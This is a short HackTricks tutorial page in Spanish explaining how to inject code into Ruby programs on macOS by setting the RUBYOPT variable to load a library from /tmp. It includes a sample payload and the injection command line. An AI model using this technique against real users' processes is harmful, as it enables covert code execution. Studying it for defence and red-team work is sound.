Inyección de Aplicaciones Ruby en macOS
Reading time: 2 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
RUBYOPT
Usando esta variable de entorno es posible agregar nuevos parámetros a ruby cada vez que se ejecuta. Aunque el parámetro -e
no se puede usar para especificar código ruby a ejecutar, es posible usar los parámetros -I
y -r
para agregar una nueva carpeta a la ruta de carga de bibliotecas y luego especificar una biblioteca para cargar.
Crea la biblioteca inject.rb
en /tmp
:
puts `whoami`
Crea un script de ruby en cualquier lugar como:
puts 'Hello, World!'
Luego, haz que un script de ruby arbitrario lo cargue con:
RUBYOPT="-I/tmp -rinject" ruby hello.rb
Dato curioso, funciona incluso con el parámetro --disable-rubyopt
:
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.